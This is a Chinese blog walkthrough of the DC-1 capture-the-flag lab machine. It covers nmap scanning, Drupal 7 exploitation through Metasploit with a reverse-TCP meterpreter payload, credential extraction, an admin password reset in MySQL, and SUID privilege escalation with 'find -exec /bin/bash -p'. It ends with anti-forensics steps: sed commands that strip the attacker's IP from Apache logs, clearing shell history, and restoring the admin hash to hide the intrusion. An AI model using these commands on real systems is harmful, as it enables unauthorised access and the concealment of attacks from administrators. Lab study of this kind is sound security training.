【DC系列打穿靶机】DC-1靶机妈生教程!

【DC系列打穿靶机】DC-1全详解

声明:该笔记为up主 泷羽的课程笔记,本节链接指路
警告:本教程仅作学习用途,若有用于非法行为的,概不负责。


初步探测

拿到DC1靶机打开之后进入登陆页面,如下:
在这里插入图片描述
因此我们可以先用kali扫描网段,查看靶机的ip,这里靶机需要调整为nat模式。

nmap -sn 192.168.216.0/24


可得到dc1的IP地址为:192.168.216.133

nmap -A -p- 192.168.216.133
-A:使用高级功能进行扫描,即全面扫描;
-p-:扫描端口号1-65535,与-p 1-65535相同意思

在这里插入图片描述
可以看到主机的端口有以上是开放的。
因此我们可以进入物理机的ip地址:80端口,进入登陆页面:
在这里插入图片描述
尝试sql注入:
没有sql语句报错,因此应该可以尝试sql注入。
在这里插入图片描述
他的用户注册还需要发邮件,所以下面从系统漏洞角度看看。

漏洞探测

我们可以使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息。
在这里插入图片描述
同样,我们也可以直接使用firefox上的插件查看:
在这里插入图片描述
通过火狐浏览器的Wappalyzer插件知道网站的CMS是Drupal 7,编程语言是PHP 5.4.45;
利用搜索引擎查找有关Drupal 7的漏洞:inurl:Drupal 7漏洞

美少妇探测

我们打开msf扫描:

msfconsole
search drupal

在这里插入图片描述
显示payloads,发现都是都是反弹和正向连接的,没有我们需要的。

在这里插入图片描述
我们使用第二个,显示payloads,可以看到php这类可以用于利用的:

use 1
show payloads

在这里插入图片描述

  • 正向连接:在msf中通常是指,bind_tcp,定义–攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听。
设置正向连接:set payload payload/php/meterpreter/bind_tcp
  • 反向连接:在msf中通常是指,reverse_tcp,定义–更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。
设置反弹shell:set payload payload/php/meterpreter/reverse_tcp

主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中,外网靶机访问不了内网中的攻击机,反向连接需要两个机器都需要能互相ping。
这里用反向连接成功。
在这里插入图片描述

后渗透

我们可以修改一下显示方式,可以看到输入的名字。

/usr/bin/python -c "import pty; pty.spawn('/bin/bash')"

在这里插入图片描述

这里我们就可以获取shell了。
在这里插入图片描述
我们看到了flag1,读取:
**在这里插入图片描述**
他说我应该去找cms文件,因此采用模糊搜索,一般linux都是以settingxxx保存的,因此:
在这里插入图片描述
我们在flag2获得了以下的凭证:

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

因此我们可以拿到了数据库的账密,进行登录。
在这里插入图片描述
这里我们直接看有什么数据库,并且找到drupaldb中的user表。
查看users数据,加上\G可以更好看:
在这里插入图片描述
上网查了一下,发现这串加密符号:

字符串 S S SDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR 看起来是 Drupal 7 或 Drupal 8 的密码哈希。Drupal 使用了一个基于 PHP 的密码哈希算法来加密用户密码,这种哈希通常以 S S S 开头,后面跟着加密后的密码字符串。

反正涉及到了哈希加密,我们上模糊查询:
在这里插入图片描述
因此我们得到他生成密码的逻辑为:一个或多个被双引号闭合,输出的哈希值可以手动输入到{users}中。pass值可以用sql更改。

www-data@DC-1:/var/www$   ./scripts/password-hash.sh admin123

password: admin123 		hash: $S$D2vQpjVxadksQEaL1QkN2phHVkNNOPwg65gT8/89caSOJtRnDTsB

因此我们可以构造得到自己的密码,去mysql中更改。
在这里插入图片描述
返回网页登陆成功:
在这里插入图片描述
在这获得了flag3
在这里插入图片描述
他说到:

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

因此我们可以去找找passwd文件。
直接找/etc/passwd,可以看到:
在这里插入图片描述
这里查看权限,发现是只能root,因此提权:

find / -perm -u=s -type f  2>/dev/null
# `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。
find / -exec "/bin/bash" -p \;

在这里插入图片描述
于是找到最后一个flag。

痕迹清除

中间件日志清除

对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

bash-4.2# find / -name 'access*'

在这里插入图片描述
查看文件内容,并将自己ip的记录删除:

sed -i '/192.168.216.1/d' /var/log/apache2/access.log
-i选项表示直接修改文件。/d这里表示清除216段下的所有ip地址日志

还要清除error错误日志的记录:

查找:find / -name 'error*'
删除: sed -i '/192.168.216.1/d' /var/log/apache2/error.log

密码还原

把别人密码改了还不改不回去那不是等着别人发现吗。

update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";

清除数据库日志

我们可以查看数据,但是没有权限,所以查找这些文件:

show variables like '%log%';

在这里插入图片描述

general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。

  • 当general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。
  • 当general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。

慢查询日志slow_query_log看图也是关闭的。

  • 当 slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log。
  • 当 slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。

这里没有这个两个文件的痕迹,可以跳过。

历史命令

history -c

直接清除历史命令。

登录日志

这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。

nmap扫描日志

nmap扫描时,如果你指定了输出文件(例如使用-ON选项),确保删除这些文件。清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。

cd到tmp下:cd /tmp
find . -name 'nmap'
find . -name '*nmap*'
删除记录:history -c
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值